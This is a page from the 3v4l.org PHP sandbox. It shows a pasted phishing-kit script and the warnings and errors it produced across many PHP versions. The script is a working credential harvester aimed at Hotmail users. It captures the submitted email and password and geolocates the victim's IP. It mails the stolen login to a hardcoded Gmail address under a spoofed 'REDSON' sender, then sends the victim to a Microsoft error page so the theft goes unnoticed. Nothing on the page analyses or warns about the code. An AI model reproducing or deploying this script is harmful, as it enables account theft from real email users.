3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); $country = visitor_country(); $ip = getenv("REMOTE_ADDR"); $browser = $_SERVER['HTTP_USER_AGENT']; $login = $_SESSION['clientemail']; $passwd = $_POST['passwd']; $own = 'lekzyenwis123@gmail.com'; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $server = date("D/M/d, Y g:i a"); $domain = 'HOTMAIL'; $sender = 'redson@serverX.com'; $subj = "$domain - $country - $login"; $headers .= "From: REDSON<$sender>\n"; $headers .= "X-Priority: 1\n"; //1 Urgent Message, 3 Normal $headers .= "Content-Type:text/html; charset=\"iso-8859-1\"\n"; $over = 'https://www.microsoft.com/en-us/errorpages/smarterror.aspx'; $msg = "<HTML><BODY> <TABLE> <tr><td>____REDSON____</td></tr> <tr><td>ID: >$login<<td/></tr> <tr><td>Access: >$passwd<</td></tr> <tr><td>IP: $country | <a href='http://whoer.net/check?host=$ip' target='_blank'>$ip</a> </td></tr> <tr><td>Wrong Turn</td></tr> </BODY> </HTML>"; if (empty($login) || empty($passwd)) { header( "Location: index.php?Email=$login&.rand=13InboxLight.aspx?n=1774256418&fid=4#n=1252899642&fid=1&fav=1" ); } else { mail($own,$subj,$msg,$headers); header("Location: $over"); } function visitor_country() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } function visitor_countryCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryCode != null) { $result = $ip_data->geoplugin_countryCode; } return $result; } function visitor_regionName() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_regionName != null) { $result = $ip_data->geoplugin_regionName; } return $result; } function visitor_continentCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_continentCode != null) { $result = $ip_data->geoplugin_continentCode; } return $result; } ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.33, 8.2.0 - 8.2.29, 8.3.0 - 8.3.27, 8.4.1 - 8.4.14, 8.5.0 - 8.5.1
Warning: Undefined array key "REMOTE_ADDR" in /in/KGbfW on line 40 Warning: Undefined array key "HTTP_USER_AGENT" in /in/KGbfW on line 5 Warning: Undefined array key "clientemail" in /in/KGbfW on line 6 Warning: Undefined array key "passwd" in /in/KGbfW on line 7 Warning: Undefined array key "HTTP_HOST" in /in/KGbfW on line 9 Warning: Undefined array key "REQUEST_URI" in /in/KGbfW on line 10 Warning: Undefined variable $headers in /in/KGbfW on line 15 Warning: Cannot modify header information - headers already sent by (output started at /in/KGbfW:40) in /in/KGbfW on line 29
Output for 8.4.15
/bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libm.so.6: version `GLIBC_2.35' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.34' not found (required by /bin/php-8.4.15) /bin/php-8.4.15: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.4.15)
Process exited with code 1.
Output for 8.3.28
/bin/php-8.3.28: /usr/lib/libm.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.3.28) /bin/php-8.3.28: /usr/lib/libm.so.6: version `GLIBC_2.35' not found (required by /bin/php-8.3.28) /bin/php-8.3.28: /usr/lib/libc.so.6: version `GLIBC_2.34' not found (required by /bin/php-8.3.28) /bin/php-8.3.28: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /bin/php-8.3.28)
Process exited with code 1.
Output for 5.6.38, 7.0.33, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined index: REMOTE_ADDR in /in/KGbfW on line 40 Notice: Undefined index: HTTP_USER_AGENT in /in/KGbfW on line 5 Notice: Undefined index: clientemail in /in/KGbfW on line 6 Notice: Undefined index: passwd in /in/KGbfW on line 7 Notice: Undefined index: HTTP_HOST in /in/KGbfW on line 9 Notice: Undefined index: REQUEST_URI in /in/KGbfW on line 10 Notice: Undefined variable: headers in /in/KGbfW on line 15 Warning: Cannot modify header information - headers already sent by (output started at /in/KGbfW:40) in /in/KGbfW on line 29
Output for 7.3.32 - 7.3.33

preferences:
201.06 ms | 411 KiB | 5 Q